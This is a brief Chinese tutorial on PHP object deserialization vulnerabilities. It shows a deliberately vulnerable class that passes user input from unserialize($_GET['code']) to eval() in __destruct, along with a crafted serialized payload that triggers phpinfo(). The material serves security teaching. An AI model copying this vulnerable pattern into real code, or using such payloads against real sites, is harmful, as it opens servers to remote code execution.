serialize() 序列化:使用函数serialize()可将实例序列化为字符串
unserialize() 反序列化:使用函数unserialize()可将序列化的字符串还原
代码示例:
<?php
class Example {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['code']);
?>
漏洞利用:
构造漏洞利用的代码,保存为test.php,获取序列化值为 O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}
<?php
class Example {
var $var = 'phpinfo();';
function __destruct() {
eval($this->var);
}
}
$a=new Example();
echo serialize($a);
?>
提交?code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";} 即可执行phpinfo()
参考文章:
PHP反序列化漏洞 http://wyb0.com/posts/php-deserialization-vulnerabilities/
PHP反序列化 代码执行 https://www.cnblogs.com/yinqin/articles/4962837.html